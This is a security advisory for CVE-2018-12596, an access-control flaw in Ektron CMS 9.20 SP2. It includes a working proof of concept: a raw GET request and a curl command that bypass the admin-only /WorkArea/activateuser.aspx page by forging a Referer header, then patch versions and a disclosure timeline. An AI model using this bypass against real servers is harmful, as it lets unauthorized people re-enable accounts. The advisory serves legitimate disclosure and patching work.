Ektron CMS 9.20 SP2 - Improper Access Restrictions

Details
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Software: Ektron Content Management System (CMS)
Version: 9.20 SP2
Homepage: https://www.episerver.com
Advisory report: https://github.com/alt3kx/CVE-2018-12596
CVE: CVE-2018-12596
CVSS: 7.5 (HIGH: (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWE-284

Description
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Ektron CMS 9.20 SP2 allows remote attackers to enable users.

Vulnerability
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Ektron CMS 9.20 SP2 allows remote attackers to call aspx pages via the "activateuser.aspx" page, even if a page
is located under the /WorkArea/ path, which is forbidden (normally available exclusively for local admins).

Proof of concept Exploit
========================

Pre-requisites:

- curl command deployed (Windows or Linux)
- Burpsuite Free/Pro deployed or any other WebProxy to catch/send GET request

Step (1): Launch the BurpSuite with default paramenter then request the follwing URL:

Target: https://ektronserver.com/WorkArea/activateuser.aspx

Normally you will see a 403 Forbidden: Access denied.

Step (2): Into BurpSuite Free/Pro add the following extra Header Referer:

"Referer: ALEX;"

Step (3): The offending GET request is:

GET /WorkArea/activateuser.aspx HTTP/1.1
Host: ektronserver.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0
Referer: ALEX;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Step (4): Test your GET request using curl command and burpsuite as following:

# curl -i -s -k -XGET "https://ektronserver.com/WorkArea/activateuser.aspx"
-H "Host: ektronserver.com"
-H "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0"
-H "Referer: ALEX;"
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
-H "Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate"
-H "Connection: close"
--proxy http://127.0.0.1:8080

You should see now the following response 200 OK!:

HTTP/1.0 200 Connection established

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8

Now you got access to enable users, just send the repeat request into the browser using burpsuite

Have fun!

Mitigations
================
Install the latest patches available here:

PATCH ID: EKTR-508: Security enhancement for re-enabling a user
https://support.episerver.com/hc/en-us/articles/115002828112-9-2-SP2-Site-Update

Any of the below should fix CVE-2018-12596

9.3(main release)
9.2 SP2 Site CU 22
9.1 SP3 Site CU 45
9.0 SP3 Site CU 31

Disclosure policy
================
We believes in responsible disclosure.
Please contact us on Alex Hernandez aka alt3kx  (at) protonmail com to acknowledge this report.

This vulnerability will be published if we do not receive a response to this report with 10 days.

Timeline
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2018–06–08: Discovered
2018–06–11: Retest staging environment
2018–06–12: Restes live environment
2018–06–19: Internal communication
2018–06–21: Vendor notification
2018–06–21: Vendor feedback
2018–06–29: Vendor feedback product will be patched
2018–06–29: Patch available
2018–06–29: Agrements with the vendor to publish the CVE/Advisory.
2018–07–30: Internal communication
2018–09–15: Patches tested on LAB environment.
2018–10–08: Public report

Discovered by:
Alex Hernandez aka alt3kx:
================
Please visit https://github.com/alt3kx for more information.
My current exploit list @exploit-db: https://www.exploit-db.com/author/?a=1074